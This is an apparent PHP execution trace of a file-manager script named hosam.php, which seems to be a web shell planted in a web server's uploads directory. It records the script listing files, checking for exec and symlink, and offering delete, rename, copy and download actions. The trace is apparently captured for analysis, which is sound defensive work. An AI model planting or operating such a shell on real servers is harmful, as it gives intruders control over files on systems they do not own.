4 328 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 330 0 0.015953 788992 urlencode 0 /var/www/html/uploads/hosam.php 1197 1 '/var/www/html/uploads/data'
4 330 1 0.015967 789088
4 330 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fdata'
4 331 0 0.015983 789040 html 1 /var/www/html/uploads/hosam.php 1197 1 'data'
5 332 0 0.015995 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'data' 2 'ISO-8859-1'
5 332 1 0.016010 789312
5 332 R 'data'
4 331 1 0.016023 789200
4 331 R 'data'
4 333 0 0.016037 788944 human_filesize 1 /var/www/html/uploads/hosam.php 1220 1 4096
4 A /var/www/html/uploads/hosam.php 1056 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/hosam.php 1058 $n = 0
4 A /var/www/html/uploads/hosam.php 1060 $filesize /= 1024
4 A /var/www/html/uploads/hosam.php 1061 $n++
5 334 0 0.016091 788944 strpos 0 /var/www/html/uploads/hosam.php 1064 2 4 '.'
5 334 1 0.016103 789016
5 334 R FALSE
5 335 0 0.016117 788944 round 0 /var/www/html/uploads/hosam.php 1064 2 4 3
5 335 1 0.016129 789016
5 335 R 4
4 A /var/www/html/uploads/hosam.php 1064 $filesize = 4
5 336 0 0.016153 788944 strpos 0 /var/www/html/uploads/hosam.php 1066 2 4 '.'
5 336 1 0.016166 789272
5 336 R FALSE
5 337 0 0.016179 788944 substr 0 /var/www/html/uploads/hosam.php 1072 3 'kMGTPE' 0 1
5 337 1 0.016193 789040
5 337 R 'k'
4 A /var/www/html/uploads/hosam.php 1072 $suffix = 'k'
4 333 1 0.016217 788976
4 333 R '4 kB'
3 A /var/www/html/uploads/hosam.php 1220 $human = ' title="4 kB"'
4 338 0 0.016245 788984 decoct 0 /var/www/html/uploads/hosam.php 1229 1 16895
4 338 1 0.016257 789056
4 338 R '40777'
4 339 0 0.016271 788984 function_exists 0 /var/www/html/uploads/hosam.php 1231 1 'posix_getuid'
4 339 1 0.016284 789024
4 339 R TRUE
4 340 0 0.016297 788984 posix_getuid 0 /var/www/html/uploads/hosam.php 1231 0
4 340 1 0.016309 788984
4 340 R 33
3 A /var/www/html/uploads/hosam.php 1231 $l = FALSE
4 341 0 0.016332 788984 permission_octal2string 1 /var/www/html/uploads/hosam.php 1233 1 16895
4 A /var/www/html/uploads/hosam.php 877 $type = 'd'
4 A /var/www/html/uploads/hosam.php 886 $owner = 'r'
4 A /var/www/html/uploads/hosam.php 887 $owner .= 'w'
4 A /var/www/html/uploads/hosam.php 891 $owner .= 'x'
4 A /var/www/html/uploads/hosam.php 894 $group = 'r'
4 A /var/www/html/uploads/hosam.php 895 $group .= 'w'
4 A /var/www/html/uploads/hosam.php 899 $group .= 'x'
4 A /var/www/html/uploads/hosam.php 902 $other = 'r'
4 A /var/www/html/uploads/hosam.php 903 $other .= 'w'
4 A /var/www/html/uploads/hosam.php 907 $other .= 'x'
4 341 1 0.016441 789024
4 341 R 'drwxrwxrwx'
4 342 0 0.016455 789024 html 1 /var/www/html/uploads/hosam.php 1233 1 'drwxrwxrwx'
5 343 0 0.016467 789024 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'drwxrwxrwx' 2 'ISO-8859-1'
5 343 1 0.016483 789296
5 343 R 'drwxrwxrwx'
4 342 1 0.016497 789184
4 342 R 'drwxrwxrwx'
4 344 0 0.016510 788984 array_key_exists 0 /var/www/html/uploads/hosam.php 1238 2 'owner_name' ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 344 1 0.016540 789048
4 344 R TRUE
4 345 0 0.016554 788984 array_key_exists 0 /var/www/html/uploads/hosam.php 1244 2 'group_name' ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 345 1 0.016581 789048
4 345 R TRUE
4 346 0 0.016596 789080 html 1 /var/www/html/uploads/hosam.php 1253 1 '/var/www/html/uploads/data'
5 347 0 0.016609 789080 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '/var/www/html/uploads/data' 2 'ISO-8859-1'
5 347 1 0.016624 789352
5 347 R '/var/www/html/uploads/data'
4 346 1 0.016639 789240
4 346 R '/var/www/html/uploads/data'
3 A /var/www/html/uploads/hosam.php 1256 $actions = []
4 348 0 0.016665 788608 function_exists 0 /var/www/html/uploads/hosam.php 1257 1 'symlink'
4 348 1 0.016678 788648
4 348 R TRUE
3 A /var/www/html/uploads/hosam.php 1258 $actions[] = 'create_symlink'
4 349 0 0.016703 788984 dirname 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads/data'
4 349 1 0.016716 789072
4 349 R '/var/www/html/uploads'
4 350 0 0.016730 789040 is_writable 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads'
4 350 1 0.016746 789080
4 350 R TRUE
3 A /var/www/html/uploads/hosam.php 1261 $actions[] = 'delete'
3 A /var/www/html/uploads/hosam.php 1262 $actions[] = 'rename'
3 A /var/www/html/uploads/hosam.php 1263 $actions[] = 'move'
4 351 0 0.016790 788984 function_exists 0 /var/www/html/uploads/hosam.php 1270 1 'exec'
4 351 1 0.016803 789024
4 351 R TRUE
4 352 0 0.016816 788984 sizeof 0 /var/www/html/uploads/hosam.php 1274 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 352 1 0.016833 789016
4 352 R 4
4 353 0 0.016846 789080 str_repeat 0 /var/www/html/uploads/hosam.php 1277 2 ' ' 30
4 353 1 0.016860 789368
4 353 R ' '
4 354 0 0.016876 789048 word 1 /var/www/html/uploads/hosam.php 1281 1 'create_symlink'
5 355 0 0.016889 789048 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'create symlink' 2 'ISO-8859-1'
5 355 1 0.016904 789320
5 355 R 'create symlink'
4 354 1 0.016919 789208
4 354 R 'create symlink'
4 356 0 0.016939 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'delete'
5 357 0 0.016951 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'delete' 2 'ISO-8859-1'
5 357 1 0.016966 789312
5 357 R 'delete'
4 356 1 0.016979 789200
4 356 R 'delete'
4 358 0 0.016993 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'rename'
5 359 0 0.017005 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'rename' 2 'ISO-8859-1'
5 359 1 0.017019 789312
5 359 R 'rename'
4 358 1 0.017032 789200
4 358 R 'rename'
4 360 0 0.017047 789032 word 1 /var/www/html/uploads/hosam.php 1281 1 'move'
5 361 0 0.017059 789032 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'move' 2 'ISO-8859-1'
5 361 1 0.017073 789304
5 361 R 'move'
4 360 1 0.017086 789192
4 360 R 'move'
3 A /var/www/html/uploads/hosam.php 1165 $i++
4 362 0 0.017110 788984 sizeof 0 /var/www/html/uploads/hosam.php 1165 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 362 1 0.017181 789016
4 362 R 6
3 A /var/www/html/uploads/hosam.php 1166 $file = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 363 0 0.017221 788984 date 0 /var/www/html/uploads/hosam.php 1168 2 'n/j/y H:i:s' 1676254317
4 363 1 0.017252 789312
4 363 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1168 $timestamps = 'mtime: 2/12/23 21:11:57, '
4 364 0 0.017279 788928 date 0 /var/www/html/uploads/hosam.php 1169 2 'n/j/y H:i:s' 1676254317
4 364 1 0.017309 789256
4 364 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1169 $timestamps .= 'atime: 2/12/23 21:11:57, '
4 365 0 0.017336 788952 date 0 /var/www/html/uploads/hosam.php 1170 2 'n/j/y H:i:s' 1676254317
4 365 1 0.017366 789280
4 365 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1170 $timestamps .= 'ctime: 2/12/23 21:11:57'
4 366 0 0.017392 789176 html 1 /var/www/html/uploads/hosam.php 1174 1 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5 367 0 0.017406 789176 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57' 2 'ISO-8859-1'
5 367 1 0.017424 789480
5 367 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 366 1 0.017439 789368
4 366 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 368 0 0.017456 788984 substr 0 /var/www/html/uploads/hosam.php 1205 3 'hosam.php' 0 1
4 368 1 0.017469 789080
4 368 R 'h'
4 369 0 0.017483 789064 urlencode 0 /var/www/html/uploads/hosam.php 1212 1 '/var/www/html/uploads/hosam.php'
4 369 1 0.017497 789176
4 369 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fhosam.php'
4 370 0 0.017513 789096 html 1 /var/www/html/uploads/hosam.php 1212 1 'hosam.php'
5 371 0 0.017525 789096 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'hosam.php' 2 'ISO-8859-1'
5 371 1 0.017540 789368
5 371 R 'hosam.php'
4 370 1 0.017554 789256
4 370 R 'hosam.php'
4 372 0 0.017568 788984 human_filesize 1 /var/www/html/uploads/hosam.php 1220 1 68561
4 A /var/www/html/uploads/hosam.php 1056 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/hosam.php 1058 $n = 0
4 A /var/www/html/uploads/hosam.php 1060 $filesize /= 1024
4 A /var/www/html/uploads/hosam.php 1061 $n++
5 373 0 0.017621 788984 strpos 0 /var/www/html/uploads/hosam.php 1064 2 66.9541015625 '.'
5 373 1 0.017635 789312
5 373 R 2
5 374 0 0.017648 788984 round 0 /var/www/html/uploads/hosam.php 1064 2 66.9541015625 1
5 374 1 0.017661 789056
5 374 R 67
4 A /var/www/html/uploads/hosam.php 1064 $filesize = 67
5 375 0 0.017685 788984 strpos 0 /var/www/html/uploads/hosam.php 1066 2 67 '.'
5 375 1 0.017697 789312
5 375 R FALSE
5 376 0 0.017714 788984 substr 0 /var/www/html/uploads/hosam.php 1072 3 'kMGTPE' 0 1
5 376 1 0.017727 789080
5 376 R 'k'
4 A /var/www/html/uploads/hosam.php 1072 $suffix = 'k'
4 372 1 0.017752 789016
4 372 R '67 kB'
3 A /var/www/html/uploads/hosam.php 1220 $human = ' title="67 kB"'
4 377 0 0.017777 788984 decoct 0 /var/www/html/uploads/hosam.php 1229 1 33204
4 377 1 0.017790 789056
4 377 R '100664'
4 378 0 0.017804 788984 function_exists 0 /var/www/html/uploads/hosam.php 1231 1 'posix_getuid'
4 378 1 0.017817 789024
4 378 R TRUE
4 379 0 0.017830 788984 posix_getuid 0 /var/www/html/uploads/hosam.php 1231 0
4 379 1 0.017842 788984
4 379 R 33
3 A /var/www/html/uploads/hosam.php 1231 $l = FALSE
4 380 0 0.017865 788984 permission_octal2string 1 /var/www/html/uploads/hosam.php 1233 1 33204
4 A /var/www/html/uploads/hosam.php 873 $type = '-'
4 A /var/www/html/uploads/hosam.php 886 $owner = 'r'
4 A /var/www/html/uploads/hosam.php 887 $owner .= 'w'
4 A /var/www/html/uploads/hosam.php 891 $owner .= '-'
4 A /var/www/html/uploads/hosam.php 894 $group = 'r'
4 A /var/www/html/uploads/hosam.php 895 $group .= 'w'
4 A /var/www/html/uploads/hosam.php 899 $group .= '-'
4 A /var/www/html/uploads/hosam.php 902 $other = 'r'
4 A /var/www/html/uploads/hosam.php 903 $other .= '-'
4 A /var/www/html/uploads/hosam.php 907 $other .= '-'
4 380 1 0.017975 789024
4 380 R '-rw-rw-r--'
4 381 0 0.017989 789024 html 1 /var/www/html/uploads/hosam.php 1233 1 '-rw-rw-r--'
5 382 0 0.018002 789024 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '-rw-rw-r--' 2 'ISO-8859-1'
5 382 1 0.018016 789296
5 382 R '-rw-rw-r--'
4 381 1 0.018030 789184
4 381 R '-rw-rw-r--'
4 383 0 0.018044 788984 array_key_exists 0 /var/www/html/uploads/hosam.php 1238 2 'owner_name' ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 383 1 0.018074 789048
4 383 R TRUE
4 384 0 0.018087 788984 array_key_exists 0 /var/www/html/uploads/hosam.php 1244 2 'group_name' ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 384 1 0.018116 789048
4 384 R TRUE
4 385 0 0.018130 789080 html 1 /var/www/html/uploads/hosam.php 1253 1 '/var/www/html/uploads/hosam.php'
5 386 0 0.018143 789080 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '/var/www/html/uploads/hosam.php' 2 'ISO-8859-1'
5 386 1 0.018158 789352
5 386 R '/var/www/html/uploads/hosam.php'
4 385 1 0.018173 789240
4 385 R '/var/www/html/uploads/hosam.php'
3 A /var/www/html/uploads/hosam.php 1256 $actions = []
4 387 0 0.018198 788608 function_exists 0 /var/www/html/uploads/hosam.php 1257 1 'symlink'
4 387 1 0.018212 788648
4 387 R TRUE
3 A /var/www/html/uploads/hosam.php 1258 $actions[] = 'create_symlink'
4 388 0 0.018236 788984 dirname 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads/hosam.php'
4 388 1 0.018249 789072
4 388 R '/var/www/html/uploads'
4 389 0 0.018267 789040 is_writable 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads'
4 389 1 0.018284 789080
4 389 R TRUE
3 A /var/www/html/uploads/hosam.php 1261 $actions[] = 'delete'
3 A /var/www/html/uploads/hosam.php 1262 $actions[] = 'rename'
3 A /var/www/html/uploads/hosam.php 1263 $actions[] = 'move'
3 A /var/www/html/uploads/hosam.php 1266 $actions[] = 'copy'
3 A /var/www/html/uploads/hosam.php 1267 $actions[] = 'download'
4 390 0 0.018360 788984 function_exists 0 /var/www/html/uploads/hosam.php 1270 1 'exec'
4 390 1 0.018374 789024
4 390 R TRUE
4 391 0 0.018387 788984 sizeof 0 /var/www/html/uploads/hosam.php 1274 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4 391 1 0.018405 789016
4 391 R 6
4 392 0 0.018423 789080 str_repeat 0 /var/www/html/uploads/hosam.php 1277 2 ' ' 30
4 392 1 0.018437 789368
4 392 R ' '
4 393 0 0.018453 789048 word 1 /var/www/html/uploads/hosam.php 1281 1 'create_symlink'
5 394 0 0.018467 789048 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'create symlink' 2 'ISO-8859-1'
5 394 1 0.018482 789320
5 394 R 'create symlink'
4 393 1 0.018497 789208
4 393 R 'create symlink'
4 395 0 0.018512 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'delete'
5 396 0 0.018524 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'delete' 2 'ISO-8859-1'
5 396 1 0.018539 789312
5 396 R 'delete'
4 395 1 0.018552 789200
4 395 R 'delete'
4 397 0 0.018566 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'rename'
5 398 0 0.018578 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'rename' 2 'ISO-8859-1'
5 398 1 0.018592 789312
5 398 R 'rename'
4 397 1 0.018606 789200
4 397 R 'rename'
4 399 0 0.018620 789032 word 1 /var/www/html/uploads/hosam.php 1281 1 'move'
5 400 0 0.018632 789032 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'move' 2 'ISO-8859-1'
5 400 1 0.018649 789304
5 400 R 'move'
4 399 1 0.018662 789192
4 399 R 'move'
4 401 0 0.018708 789032 word 1 /var/www/html/uploads/hosam.php 1281 1 'copy'
5 402 0 0.018721 789032 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'copy' 2 'ISO-8859-1'
5 402 1 0.018736 789304
5 402 R 'copy'
4 401 1 0.018750 789192
4 401 R 'copy'
4 403 0 0.018763 789040 word 1 /var/www/html/uploads/hosam.php 1281 1 'download'
5 404 0 0.018776 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'download' 2 'ISO-8859-1'
5 404 1 0.018790 789312
5 404 R 'download'
4 403 1 0.018803 789200
4 403 R 'download'
3 A /var/www/html/uploads/hosam.php 1165 $i++
4 405 0 0.018828 788984 sizeof 0 /var/www/html/uploads/hosam.php 1165 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 405 1 0.018901 789016
4 405 R 6
3 A /var/www/html/uploads/hosam.php 1166 $file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 406 0 0.018941 788984 date 0 /var/www/html/uploads/hosam.php 1168 2 'n/j/y H:i:s' 1676254317
4 406 1 0.018974 789312
4 406 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1168 $timestamps = 'mtime: 2/12/23 21:11:57, '
4 407 0 0.019001 788928 date 0 /var/www/html/uploads/hosam.php 1169 2 'n/j/y H:i:s' 1676254317
4 407 1 0.019031 789256
4 407 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1169 $timestamps .= 'atime: 2/12/23 21:11:57, '
4 408 0 0.019058 788952 date 0 /var/www/html/uploads/hosam.php 1170 2 'n/j/y H:i:s' 1676254317
4 408 1 0.019088 789280
4 408 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1170 $timestamps .= 'ctime: 2/12/23 21:11:57'
4 409 0 0.019114 789176 html 1 /var/www/html/uploads/hosam.php 1174 1 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5 410 0 0.019129 789176 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57' 2 'ISO-8859-1'
5 410 1 0.019146 789480
5 410 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 409 1 0.019162 789368
4 409 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 411 0 0.019178 788984 substr 0 /var/www/html/uploads/hosam.php 1205 3 'prepend.php' 0 1
4 411 1 0.019192 789080
4 411 R 'p'
4 412 0 0.019206 789064 urlencode 0 /var/www/html/uploads/hosam.php 1212 1 '/var/www/html/uploads/prepend.php'
4 412 1 0.019219 789176
4 412 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fprepend.php'
4 413 0 0.019236 789096 html 1 /var/www/html/uploads/hosam.php 1212 1 'prepend.php'
5 414 0 0.019253 789096 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'prepend.php' 2 'ISO-8859-1'
5 414 1 0.019268 789368
5 414 R 'prepend.php'
4 413 1 0.019282 789256
4 413 R 'prepend.php'
3 A /var/www/html/uploads/hosam.php 1222 $human = ''
4 415 0 0.019308 788944 decoct 0 /var/www/html/uploads/hosam.php 1229 1 33261
4 415 1 0.019321 789016
4 415 R '100755'
4 416 0 0.019335 788944 function_exists 0 /var/www/html/uploads/hosam.php 1231 1 'posix_getuid'
4 416 1 0.019348 788984
4 416 R TRUE
4 417 0 0.019361 788944 posix_getuid 0 /var/www/html/uploads/hosam.php 1231 0
4 417 1 0.019373 788944
4 417 R 33
3 A /var/www/html/uploads/hosam.php 1231 $l = FALSE
4 418 0 0.019396 788944 permission_octal2string 1 /var/www/html/uploads/hosam.php 1233 1 33261
4 A /var/www/html/uploads/hosam.php 873 $type = '-'
4 A /var/www/html/uploads/hosam.php 886 $owner = 'r'
4 A /var/www/html/uploads/hosam.php 887 $owner .= 'w'
4 A /var/www/html/uploads/hosam.php 891 $owner .= 'x'
4 A /var/www/html/uploads/hosam.php 894 $group = 'r'
4 A /var/www/html/uploads/hosam.php 895 $group .= '-'
4 A /var/www/html/uploads/hosam.php 899 $group .= 'x'
4 A /var/www/html/uploads/hosam.php 902 $other = 'r'
4 A /var/www/html/uploads/hosam.php 903 $other .= '-'
4 A /var/www/html/uploads/hosam.php 907 $other .= 'x'
4 418 1 0.019507 788984
4 418 R '-rwxr-xr-x'
4 419 0 0.019520 788984 html 1 /var/www/html/uploads/hosam.php 1233 1 '-rwxr-xr-x'
5 420 0 0.019533 788984 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '-rwxr-xr-x' 2 'ISO-8859-1'
5 420 1 0.019548 789256
5 420 R '-rwxr-xr-x'
4 419 1 0.019562 789144
4 419 R '-rwxr-xr-x'
4 421 0 0.019576 788944 array_key_exists 0 /var/www/html/uploads/hosam.php 1238 2 'owner_name' ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 421 1 0.019606 789008
4 421 R TRUE
4 422 0 0.019620 788944 array_key_exists 0 /var/www/html/uploads/hosam.php 1244 2 'group_name' ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 422 1 0.019648 789008
4 422 R TRUE
4 423 0 0.019662 789040 html 1 /var/www/html/uploads/hosam.php 1253 1 '/var/www/html/uploads/prepend.php'
5 424 0 0.019676 789040 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '/var/www/html/uploads/prepend.php' 2 'ISO-8859-1'
5 424 1 0.019691 789312
5 424 R '/var/www/html/uploads/prepend.php'
4 423 1 0.019706 789200
4 423 R '/var/www/html/uploads/prepend.php'
3 A /var/www/html/uploads/hosam.php 1256 $actions = []
4 425 0 0.019733 788568 function_exists 0 /var/www/html/uploads/hosam.php 1257 1 'symlink'
4 425 1 0.019746 788608
4 425 R TRUE
3 A /var/www/html/uploads/hosam.php 1258 $actions[] = 'create_symlink'
4 426 0 0.019771 788944 dirname 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads/prepend.php'
4 426 1 0.019784 789040
